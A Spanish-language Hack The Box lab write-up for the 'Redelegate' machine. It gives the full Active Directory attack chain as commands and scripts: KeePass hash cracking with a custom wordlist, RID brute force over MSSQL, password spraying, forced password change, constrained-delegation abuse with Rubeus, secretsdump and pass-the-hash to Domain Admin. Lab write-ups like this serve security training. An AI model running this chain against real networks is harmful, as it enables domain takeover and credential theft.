Skip to content

Redelegate HTB Write Up

image.png

1. Información del objetivo

IP de la máquina: 10.129.234.50

Dominio: redelegate.vl

2. Reconocimiento inicial

2.1 Escaneo de puertos

sudo nmap -sS -p- -n -vvv -Pn --open 10.129.234.50 -oG allPorts

extractPorts allPorts

nmap -sCV -p21,53,80,88,135,139,389,445,464,593,636,1433,3268,3269,3389,5985,9389,47001,49664,49665,49666,49667,49932,53034,54564,60775,60776,60777,60783,60796 10.129.234.50 -oN targeted

Y este es el resultado.

PORT      STATE SERVICE       VERSION
21/tcp    open  ftp           Microsoft ftpd
| ftp-syst: 
|_  SYST: Windows_NT
| ftp-anon: Anonymous FTP login allowed (FTP code 230)
| 10-20-24  01:11AM                  434 CyberAudit.txt
| 10-20-24  05:14AM                 2622 Shared.kdbx
|_10-20-24  01:26AM                  580 TrainingAgenda.txt
53/tcp    open  domain        Simple DNS Plus
80/tcp    open  http          Microsoft IIS httpd 10.0
|_http-server-header: Microsoft-IIS/10.0
|_http-title: IIS Windows Server
| http-methods: 
|_  Potentially risky methods: TRACE
88/tcp    open  kerberos-sec  Microsoft Windows Kerberos (server time: 2025-09-05 11:32:56Z)
135/tcp   open  msrpc         Microsoft Windows RPC
139/tcp   open  netbios-ssn   Microsoft Windows netbios-ssn
389/tcp   open  ldap          Microsoft Windows Active Directory LDAP (Domain: redelegate.vl0., Site: Default-First-Site-Name)
445/tcp   open  microsoft-ds?
464/tcp   open  kpasswd5?
593/tcp   open  ncacn_http    Microsoft Windows RPC over HTTP 1.0
636/tcp   open  tcpwrapped
1433/tcp  open  ms-sql-s      Microsoft SQL Server 2019 15.00.2000.00; RTM
| ms-sql-info: 
|   10.129.234.50:1433: 
|     Version: 
|       name: Microsoft SQL Server 2019 RTM
|       number: 15.00.2000.00
|       Product: Microsoft SQL Server 2019
|       Service pack level: RTM
|       Post-SP patches applied: false
|_    TCP port: 1433
| ms-sql-ntlm-info: 
|   10.129.234.50:1433: 
|     Target_Name: REDELEGATE
|     NetBIOS_Domain_Name: REDELEGATE
|     NetBIOS_Computer_Name: DC
|     DNS_Domain_Name: redelegate.vl
|     DNS_Computer_Name: dc.redelegate.vl
|     DNS_Tree_Name: redelegate.vl
|_    Product_Version: 10.0.20348
|_ssl-date: 2025-09-05T11:33:59+00:00; -1s from scanner time.
| ssl-cert: Subject: commonName=SSL_Self_Signed_Fallback
| Not valid before: 2025-09-05T11:32:23
|_Not valid after:  2055-09-05T11:32:23
3268/tcp  open  ldap          Microsoft Windows Active Directory LDAP (Domain: redelegate.vl0., Site: Default-First-Site-Name)
3269/tcp  open  tcpwrapped
3389/tcp  open  ms-wbt-server Microsoft Terminal Services
|_ssl-date: 2025-09-05T11:33:59+00:00; 0s from scanner time.
| ssl-cert: Subject: commonName=dc.redelegate.vl
| Not valid before: 2025-04-09T10:21:45
|_Not valid after:  2025-10-09T10:21:45
| rdp-ntlm-info: 
|   Target_Name: REDELEGATE
|   NetBIOS_Domain_Name: REDELEGATE
|   NetBIOS_Computer_Name: DC
|   DNS_Domain_Name: redelegate.vl
|   DNS_Computer_Name: dc.redelegate.vl
|   DNS_Tree_Name: redelegate.vl
|   Product_Version: 10.0.20348
|_  System_Time: 2025-09-05T11:33:51+00:00
5985/tcp  open  http          Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-title: Not Found
|_http-server-header: Microsoft-HTTPAPI/2.0
9389/tcp  open  mc-nmf        .NET Message Framing
47001/tcp open  http          Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-title: Not Found
|_http-server-header: Microsoft-HTTPAPI/2.0
49664/tcp open  msrpc         Microsoft Windows RPC
49665/tcp open  msrpc         Microsoft Windows RPC
49666/tcp open  msrpc         Microsoft Windows RPC
49667/tcp open  msrpc         Microsoft Windows RPC
49932/tcp open  ms-sql-s      Microsoft SQL Server 2019 15.00.2000.00; RTM
| ms-sql-info: 
|   10.129.234.50:49932: 
|     Version: 
|       name: Microsoft SQL Server 2019 RTM
|       number: 15.00.2000.00
|       Product: Microsoft SQL Server 2019
|       Service pack level: RTM
|       Post-SP patches applied: false
|_    TCP port: 49932
| ssl-cert: Subject: commonName=SSL_Self_Signed_Fallback
| Not valid before: 2025-09-05T11:32:23
|_Not valid after:  2055-09-05T11:32:23
| ms-sql-ntlm-info: 
|   10.129.234.50:49932: 
|     Target_Name: REDELEGATE
|     NetBIOS_Domain_Name: REDELEGATE
|     NetBIOS_Computer_Name: DC
|     DNS_Domain_Name: redelegate.vl
|     DNS_Computer_Name: dc.redelegate.vl
|     DNS_Tree_Name: redelegate.vl
|_    Product_Version: 10.0.20348
|_ssl-date: 2025-09-05T11:33:59+00:00; -1s from scanner time.
53034/tcp open  msrpc         Microsoft Windows RPC
54564/tcp open  msrpc         Microsoft Windows RPC
60775/tcp open  msrpc         Microsoft Windows RPC
60776/tcp open  ncacn_http    Microsoft Windows RPC over HTTP 1.0
60777/tcp open  msrpc         Microsoft Windows RPC
60783/tcp open  msrpc         Microsoft Windows RPC
60796/tcp open  msrpc         Microsoft Windows RPC
Service Info: Host: DC; OS: Windows; CPE: cpe:/o:microsoft:windows

Host script results:
| smb2-security-mode: 
|   3:1:1: 
|_    Message signing enabled and required
| smb2-time: 
|   date: 2025-09-05T11:33:54
|_  start_date: N/A

3. Enumeración de FTP

3.1 Descarga de archivos

Primero voy a empezar enumerando el ftp ya que en el escaneo del nmap veo que puedo logearme anónimamente.

image.png

Como que es un .kdbx y es un binario nos lo tenemos que descargar de la siguiente manera.

image.png

Y me he descargado los 3 archivos.

image.png

3.2 Análisis de TrainingAgenda.txt

Echando un vistazo al TrainingAgenda.txt podemos observar que hay una contraseña.

image.png

3.3 Crack de base de datos KeePass

Seguidamente he abusado de keepass2john para guardarme el hash del Shared.kdbx y poderlo crackear offline.

Tras intentarlo crackear mediante el rockyou.txt no he conseguido nada, por eso me he creado una lista de contraseñas custom el patrón del TrainingAgenda.txt.

seasons = ['Fall', 'Autumn', 'Winter', 'Spring', 'Summer', 'fall', 'autumn', 'winter', 'spring', 'summer', 'FALL', 'AUTUMN', 'WINTER', 'SPRING', 'SUMMER']
# Also include common short forms/typos
seasons.extend(['Fal', 'Aut', 'Win', 'Spr', 'Sum', 'fal', 'aut', 'win', 'spr', 'sum', 'FAL', 'AUT', 'WIN', 'SPR', 'SUM'])

years = ['2024', '2023', '2022', '24', '23', '22']

specials = ['!', '@', '#', '$', '%', '&', '*', '1', '123']

# Generate the core list: SeasonYearSpecial
with open('custom_wordlist.txt', 'w') as f:
    for season in seasons:
        for year in years:
            for special in specials:
                # Main pattern: SeasonYearSpecial
                password = f"{season}{year}{special}"
                f.write(password + '\n')

                # Variant: SeasonSpecialYear (less common but possible)
                password_variant = f"{season}{special}{year}"
                f.write(password_variant + '\n')

    # Add some other common patterns based on the document
    # The date "October" and its variations could be used
    october_variations = ['October', 'october', 'OCTOBER', 'Oct', 'oct', 'OCT']
    for october in october_variations:
        for year in ['2024', '24']:
            for special in specials:
                password = f"{october}{year}{special}"
                f.write(password + '\n')

    # The phrase "CyberOctober" or "TrainingOctober" might be used
    keywords = ['Cyber', 'Training', 'Security', 'Password']
    for keyword in keywords:
        for year in ['2024', '24']:
            for special in specials:
                # Different combinations
                f.write(f"{keyword}{year}{special}\n")
                f.write(f"{keyword}{october}{special}\n")

    # Don't forget the example from the agenda itself! "SeasonYear!"
    f.write("SeasonYear!\n")
    f.write("seasonyear!\n")
    f.write("SEASON YEAR!\n") 
    # Add common mutations like replacing 'a' with '@' or 'e' with '3'
    f.write("S3ason2024!\n")
    f.write("F@ll2024!\n")
    f.write("Autumn2024!\n")

print("[+] Custom wordlist generated as 'custom_wordlist.txt'")
print("[+] Wordlist is based on the 'SeasonYear!' pattern from the employee training agenda.")

Al ejecutarlo nos creará una lista.

python3 pass.py            
[+] Custom wordlist generated as 'custom_wordlist.txt'
[+] Wordlist is based on the 'SeasonYear!' pattern from the employee training agenda.

Para usar esta lista he extraído el hash del keepass y lo he crackeado de la siguiente manera.

keepass2john Shared.kdbx | tee Shared.kdbx.hash

hashcat -a 0 -m 13400 Shared.kdbx.hash custom_wordlist.txt -O --user

Y la contraseña es: Fall2024!

Aquí podemos ver muchas contraseñas y usuarios si pruebo de autenticarme mediante mssql con estas credenciales podemos ver que son validas.

image.png

image.png

4. Explotación de MSSQL

4.1 Enumeración de usuarios mediante RID brute force

Después de enumerar un buen rato el mssql he probado a enumerar usuarios validos de la maquina a partir de un sid valido.

Este es el script:

#!/bin/bash

# Target information
TARGET="10.129.133.246"
DOMAIN="REDELEGATE"
USER="SQLGuest"
PASS="zDPBpaF4FywlqIv11vii"

# First, discover the base SID by querying a known user
echo "[*] Discovering base SID..."
BASE_SID=$(impacket-mssqlclient ${USER}:${PASS}@${TARGET} -file <(echo "SELECT CONVERT(VARCHAR(85), CONVERT(VARBINARY(85), SUSER_SID('${DOMAIN}\\Administrator')), 1);") 2>/dev/null | grep -A1 "---" | tail -n1 | tr -d ' ')

if [ -n "$BASE_SID" ]; then
    echo "[+] Found base SID: ${BASE_SID:0:-8}"
    SID_BASE="${BASE_SID:0:-8}"
else
    echo "[-] Using default base SID"
    SID_BASE="010500000000000515000000a185deefb22433798d8e847a"
fi

# Now brute force RIDs
echo "[*] Starting RID brute force..."
for RID in {1000..1500}; do
    HEX_RID=$(python -c "import struct; print(struct.pack('<I', ${RID}).hex())")
    SID="${SID_BASE}${HEX_RID}"

    RESULT=$(impacket-mssqlclient ${USER}:${PASS}@${TARGET} -file <( echo "SELECT SUSER_SNAME(0x${SID});") 2>&1 | sed -n '/^----/{n;p;}' | tr -d ' ')

    if [ "$RESULT" != "NULL" ] && [ -n "$RESULT" ]; then
        echo "[+] RID ${RID}: ${RESULT}"
    fi

    # Show progress
    if [ $((RID % 100)) -eq 0 ]; then
        echo -n "."
    fi
done
echo

Y estos son los usuarios encontrados.

Christine.Flanders
Marie.Curie
Helen.Frost
Michael.Pontiac
Mallory.Roberts
James.Dinkleberg
Ryan.Cooper
sql_svc

Con estos usuarios podemos probar a hacer un password spraying con las contraseñas generadas del primer diccionario.

image.png

Y tenemos al usuario

Marie.Curie / Fall2024!

5. Reconocimiento avanzado con BloodHound

Con estas credenciales ya podemos usar Bloodhound.

bloodhound-python -u Marie.Curie -p'Fall2024!' -c all --domain redelegate.vl -ns 10.129.133.246 --zip

Una vez en Bloodhound y con la captura importada he hecho una búsqueda del usuario que tengo actualmente hacia un usuario que este el grupo winrm. En este caso podemos ver el siguiente path.

image.png

5.1 Abuso de ForceChangePassword

Primero voy a empezar cambiando la contraseña de helen, para abusar del ForceChangePassword lo he hecho con BloodyAD.

bloodyAD --host 10.129.133.246 -d redelegate.vl -u Marie.Curie -p 'Fall2024!' set password helen.frost 'Astro@1234!'

Una vez cambiada la contraseña si enumero el usuario Helen podemos observar que tengo un GenericAll hacia FS01.

image.png

5.2 Abuso de GenericAll sobre FS01

Así que voy a abusar de este GenericAll con los siguientes comandos.

Primero de todo me he conectado via winrm como Helen.

6. Abuso de delegación con Rubeus

evil-winrm -i 10.129.133.246 -u helen.frost -p'Astro@1234!'

Luego he activado el TrustedForDelegation para FS01$

Set-ADAccountControl -Identity "FS01$" -TrustedToAuthForDelegation $True

Set-ADComputer -Identity "FS01$" -Add @{"msDS-AllowedToDelegateTo"="ldap/dc.redelegate.vl"}

Luego con rubeus.exe he calculado el hash de esta password.

.\Rubeus.exe hash /password:Password123

Y el valor que nos ha dado lo he puesto en este comando.

.\Rubeus.exe s4u /user:FS01$ /rc4:58A478135A93AC3BF058A5EA0E8FDB71 /impersonateuser:dc /msdsspn:ldap/dc.redelegate.vl /ptt /outfile:admin.kirbi

image.png

Esto nos generará un ticket el cual podemos descargar.

image.png

Una vez descargado en nuestra maquina atacante podemos ejecutar los siguientes comandos.

impacket-ticketConverter admin_ldap_dc.redelegate.vl.kirbi admin.ccache

export KRB5CCNAME=admin.ccache

impacket-secretsdump -k -no-pass dc.redelegate.vl

image.png

7. Escalada final a Domain Admin

Con el hash hacemos pass the hash como usuario Administrador.

evil-winrm -i 10.129.133.246 -u Administrator -H 'ec17f7a2a4d96eXXXXXXXXXXXX4ffc0a7'

Y ya habríamos comprometido el dc de esta maquina.

image.png

Autor: Astro